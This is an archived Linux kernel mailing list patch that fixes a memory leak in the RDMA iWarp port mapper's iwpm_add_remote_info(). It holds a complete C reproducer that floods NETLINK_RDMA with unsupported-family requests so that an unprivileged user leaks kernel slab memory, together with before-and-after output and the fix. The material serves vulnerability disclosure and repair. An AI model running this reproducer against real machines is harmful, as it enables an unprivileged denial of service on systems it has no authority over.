mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH] RDMA/iwpm: fix memory leak in iwpm_add_remote_info()
@ 2026-11-09 20:03 Junyoung Jang
  0 siblings, 0 replies; only message in thread
From: Junyoung Jang @ 2026-11-09 20:03 UTC (permalink / raw)
  To: Jason Gunthorpe, Leon Romanovsky
  Cc: Junyoung Jang, Jeffin Philip, linux-rdma, linux-kernel

NETLINK_RDMA accepts requests addressed to kernel port ID 0 from a local
unprivileged socket. The IWCM RDMA_NL_IWPM_REMOTE_INFO callback has no
RDMA_NL_ADMIN_PERM flag, and RDMA netlink routes this IWCM opcode to its
dump callback even without NLM_F_DUMP.

iwpm_remote_info_cb() parses the six required attributes and only checks
that the local and mapped-local sockaddr_storage families match and that
the remote and mapped-remote families match. Four family-255 addresses
pass those checks. The callback allocates an iwpm_remote_info object
with GFP_ATOMIC and passes it to iwpm_add_remote_info(). There,
get_reminfo_hash_bucket() accepts only AF_INET and AF_INET6, so the
family-255 lookup returns NULL. The object is neither linked into
iwpm_reminfo_bucket nor freed, and the callback returns -EINVAL after
this allocation side effect.

iwpm_exit() only walks and frees linked hash entries, so closing the
netlink socket does not recover these orphaned objects. As a result, an
unprivileged local user in the initial network namespace can repeatedly
send this request without CAP_NET_ADMIN to permanently leak unreclaimable
kernel slab memory (kmalloc-512), leading to memory exhaustion and a
denial of service (DoS).

Initialize hash_bucket_head to NULL and, after the spinlock is released,
free rem_info if no bucket accepted it. Freeing after unlock also covers
the absent-table case without changing the protected list operation and
follows the existing null-bucket cleanup pattern in iwpm_add_mapinfo().

Fixes: 6eec17746175 ("RDMA/core: Enable the iWarp Port Mapper to provide the actual address of the connecting peer to its clients")
Signed-off-by: Junyoung Jang <graypanda.inzag@gmail.com>
---
Note: This patch addresses the unsupported-family orphan leak. A separate
valid-AF_INET route can insert duplicate remote-info entries without a
per-sender limit (as RDMA_NL_IWPM_REMOTE_INFO lacks RDMA_NL_ADMIN_PERM);
that growth can be addressed in a follow-up patch if desired.

Reproducer output on unpatched kernel (7.4.0-rc1):

    # kmalloc-512 before: active=801 total=816 size=512
    $ ./iwpm-remote-info-leak 1024 --control
    uid=1000
    mode=no-callback-control
    rounds=1024
    sunreclaim_before_kb=6672
    first_reply_type=2
    first_reply_len=580
    first_reply_status=-22
    sent=1024
    recv_count=1024
    sunreclaim_after_close_kb=6672
    sunreclaim_delta_close_kb=0
    sunreclaim_after_1s_kb=6684
    sunreclaim_delta_1s_kb=12
    # kmalloc-512 after control: active=801 total=816 size=512

    $ ./iwpm-remote-info-leak 1024
    uid=1000
    mode=unsupported-family
    rounds=1024
    sunreclaim_before_kb=6684
    first_reply_type=3
    first_reply_len=20
    first_reply_status=-22
    sent=1024
    recv_count=1024
    sunreclaim_after_close_kb=7188
    sunreclaim_delta_close_kb=504
    sunreclaim_after_1s_kb=7188
    sunreclaim_delta_1s_kb=504
    # kmalloc-512 after unsupported-family: active=1809 total=1824 size=512

Reproducer output on patched kernel (7.4.0-rc1 + this patch):

    # kmalloc-512 before: active=801 total=816 size=512
    $ ./iwpm-remote-info-leak 1024 --control
    uid=1000
    mode=no-callback-control
    rounds=1024
    sunreclaim_before_kb=6632
    first_reply_type=2
    first_reply_len=580
    first_reply_status=-22
    sent=1024
    recv_count=1024
    sunreclaim_after_close_kb=6632
    sunreclaim_delta_close_kb=0
    sunreclaim_after_1s_kb=6644
    sunreclaim_delta_1s_kb=12
    # kmalloc-512 after control: active=801 total=816 size=512

    $ ./iwpm-remote-info-leak 1024
    uid=1000
    mode=unsupported-family
    rounds=1024
    sunreclaim_before_kb=6644
    first_reply_type=3
    first_reply_len=20
    first_reply_status=-22
    sent=1024
    recv_count=1024
    sunreclaim_after_close_kb=6644
    sunreclaim_delta_close_kb=0
    sunreclaim_after_1s_kb=6644
    sunreclaim_delta_1s_kb=0
    # kmalloc-512 after unsupported-family: active=801 total=816 size=512

Reproducer (iwpm-remote-info-leak.c):

/* SPDX-License-Identifier: GPL-2.0-only */
#define _GNU_SOURCE
#include <errno.h>
#include <inttypes.h>
#include <linux/netlink.h>
#include <poll.h>
#include <rdma/rdma_netlink.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>

/*
 * Exercise the IWPM remote-info callback with a complete netlink message
 * whose four sockaddr_storage values share an unsupported address family.
 * The --control mode sends the same attributes to an opcode with no callback.
 * Run in the initial network namespace of a disposable test kernel.
 */
#define MAX_ROUNDS 4096
#define REPLY_TIMEOUT_MS 3000

_Static_assert(sizeof(struct sockaddr_storage) == 128,
	       "IWPM expects 128-byte sockaddr_storage attributes");

static void fail(const char *what)
{
	fprintf(stderr, "%s: %s\n", what, strerror(errno));
	exit(EXIT_FAILURE);
}

static unsigned long long sunreclaim_kb(void)
{
	char line[256];
	unsigned long long value;
	FILE *file = fopen("/proc/meminfo", "r");

	if (!file)
		fail("fopen /proc/meminfo");
	while (fgets(line, sizeof(line), file)) {
		if (sscanf(line, "SUnreclaim: %llu kB", &value) == 1) {
			if (fclose(file))
				fail("fclose /proc/meminfo");
			return value;
		}
	}
	if (ferror(file))
		fail("read /proc/meminfo");
	fclose(file);
	fputs("SUnreclaim is missing from /proc/meminfo\n", stderr);
	exit(EXIT_FAILURE);
}

static size_t add_attr(unsigned char *buf, size_t capacity, size_t offset,
		       unsigned short type, const void *data, size_t data_len)
{
	size_t length = NLA_HDRLEN + data_len;
	size_t aligned = NLA_ALIGN(length);
	struct nlattr *attr;

	if (offset > capacity || aligned > capacity - offset || length > UINT16_MAX) {
		fputs("request attribute buffer too small\n", stderr);
		exit(EXIT_FAILURE);
	}
	attr = (struct nlattr *)(buf + offset);
	attr->nla_type = type;
	attr->nla_len = length;
	memcpy((unsigned char *)attr + NLA_HDRLEN, data, data_len);
	return offset + aligned;
}

static size_t make_request(unsigned char *buf, size_t capacity,
			   uint32_t sequence, bool control)
{
	struct sockaddr_storage address = { .ss_family = 255 };
	struct nlmsghdr *header = (struct nlmsghdr *)buf;
	uint16_t error = 0;
	unsigned int opcode = control ? RDMA_NL_IWPM_REMOVE_MAPPING :
					RDMA_NL_IWPM_REMOTE_INFO;
	size_t offset = NLMSG_HDRLEN;

	memset(buf, 0, capacity);
	offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_MAPPING_SEQ,
			  &sequence, sizeof(sequence));
	offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_LOCAL_ADDR,
			  &address, sizeof(address));
	offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_REMOTE_ADDR,
			  &address, sizeof(address));
	offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_MAPPED_LOC_ADDR,
			  &address, sizeof(address));
	offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_MAPPED_REM_ADDR,
			  &address, sizeof(address));
	offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_MAPPING_ERR,
			  &error, sizeof(error));
	header->nlmsg_len = offset;
	header->nlmsg_type = RDMA_NL_GET_TYPE(RDMA_NL_IWCM, opcode);
	header->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	header->nlmsg_seq = sequence;
	return offset;
}

static void receive_reply(int fd, uint32_t sequence, int expected_type,
			  unsigned int *reply_count, bool first)
{
	unsigned char buf[2048];
	struct pollfd pfd = { .fd = fd, .events = POLLIN };
	bool matched = false;

	while (!matched) {
		int ready;
		ssize_t length;
		int remaining;
		struct nlmsghdr *header;

		do {
			ready = poll(&pfd, 1, REPLY_TIMEOUT_MS);
		} while (ready < 0 && errno == EINTR);
		if (ready < 0)
			fail("poll NETLINK_RDMA");
		if (ready == 0) {
			fprintf(stderr, "no reply for sequence %u\n", sequence);
			exit(EXIT_FAILURE);
		}
		do {
			length = recv(fd, buf, sizeof(buf), 0);
		} while (length < 0 && errno == EINTR);
		if (length < 0)
			fail("recv NETLINK_RDMA");
		remaining = length;
		for (header = (struct nlmsghdr *)buf;
		     NLMSG_OK(header, remaining);
		     header = NLMSG_NEXT(header, remaining)) {
			int status;

			(*reply_count)++;
			if (header->nlmsg_seq != sequence)
				continue;
			if (header->nlmsg_type != expected_type)
				continue;
			if (header->nlmsg_len < NLMSG_LENGTH(sizeof(status))) {
				fputs("short netlink reply\n", stderr);
				exit(EXIT_FAILURE);
			}
			memcpy(&status, NLMSG_DATA(header), sizeof(status));
			if (first) {
				printf("first_reply_type=%u\n", header->nlmsg_type);
				printf("first_reply_len=%u\n", header->nlmsg_len);
				printf("first_reply_status=%d\n", status);
			}
			if (status != -EINVAL) {
				fprintf(stderr, "unexpected reply status %d\n", status);
				exit(EXIT_FAILURE);
			}
			matched = true;
		}
		if (remaining) {
			fputs("malformed netlink reply\n", stderr);
			exit(EXIT_FAILURE);
		}
	}
}

int main(int argc, char **argv)
{
	struct sockaddr_nl kernel = { .nl_family = AF_NETLINK };
	unsigned char request[576];
	unsigned long parsed;
	unsigned int rounds, replies = 0;
	unsigned long long before, after, later;
	bool control = false;
	char *end;
	int fd;

	if (argc < 2 || argc > 3) {
		fprintf(stderr, "usage: %s ROUNDS [--control]\n", argv[0]);
		return 2;
	}
	errno = 0;
	parsed = strtoul(argv[1], &end, 10);
	if (errno || !*argv[1] || *end || !parsed || parsed > MAX_ROUNDS) {
		fprintf(stderr, "ROUNDS must be between 1 and %d\n", MAX_ROUNDS);
		return 2;
	}
	if (argc == 3) {
		if (strcmp(argv[2], "--control")) {
			fprintf(stderr, "usage: %s ROUNDS [--control]\n", argv[0]);
			return 2;
		}
		control = true;
	}
	rounds = parsed;
	printf("uid=%u\nmode=%s\nrounds=%u\n", (unsigned int)getuid(),
	       control ? "no-callback-control" : "unsupported-family", rounds);
	before = sunreclaim_kb();
	printf("sunreclaim_before_kb=%llu\n", before);
	fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_RDMA);
	if (fd < 0)
		fail("socket NETLINK_RDMA");
	for (uint32_t i = 1; i <= rounds; i++) {
		size_t length = make_request(request, sizeof(request), i, control);
		ssize_t sent;

		do {
			sent = sendto(fd, request, length, 0,
				      (struct sockaddr *)&kernel, sizeof(kernel));
		} while (sent < 0 && errno == EINTR);
		if (sent < 0)
			fail("sendto NETLINK_RDMA");
		if ((size_t)sent != length) {
			fputs("short netlink send\n", stderr);
			return EXIT_FAILURE;
		}
		receive_reply(fd, i, control ? NLMSG_ERROR : NLMSG_DONE,
			      &replies, i == 1);
	}
	printf("sent=%u\nrecv_count=%u\n", rounds, replies);
	if (close(fd))
		fail("close NETLINK_RDMA");
	after = sunreclaim_kb();
	printf("sunreclaim_after_close_kb=%llu\n", after);
	printf("sunreclaim_delta_close_kb=%lld\n",
	       (long long)after - (long long)before);
	sleep(1);
	later = sunreclaim_kb();
	printf("sunreclaim_after_1s_kb=%llu\n", later);
	printf("sunreclaim_delta_1s_kb=%lld\n",
	       (long long)later - (long long)before);
	return EXIT_SUCCESS;
}

 drivers/infiniband/core/iwpm_util.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/drivers/infiniband/core/iwpm_util.c b/drivers/infiniband/core/iwpm_util.c
index 51af8c1c49f9..215f70cfd113 100644
--- a/drivers/infiniband/core/iwpm_util.c
+++ b/drivers/infiniband/core/iwpm_util.c
@@ -236,7 +236,7 @@ static struct hlist_head *get_reminfo_hash_bucket(struct sockaddr_storage *,
 
 void iwpm_add_remote_info(struct iwpm_remote_info *rem_info)
 {
-	struct hlist_head *hash_bucket_head;
+	struct hlist_head *hash_bucket_head = NULL;
 	unsigned long flags;
 
 	spin_lock_irqsave(&iwpm_reminfo_lock, flags);
@@ -248,6 +248,9 @@ void iwpm_add_remote_info(struct iwpm_remote_info *rem_info)
 			hlist_add_head(&rem_info->hlist_node, hash_bucket_head);
 	}
 	spin_unlock_irqrestore(&iwpm_reminfo_lock, flags);
+
+	if (!hash_bucket_head)
+		kfree(rem_info);
 }
 
 /**
-- 
2.43.0

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2026-11-09 20:03 UTC | newest]

Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-11-09 20:03 [PATCH] RDMA/iwpm: fix memory leak in iwpm_add_remote_info() Junyoung Jang

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®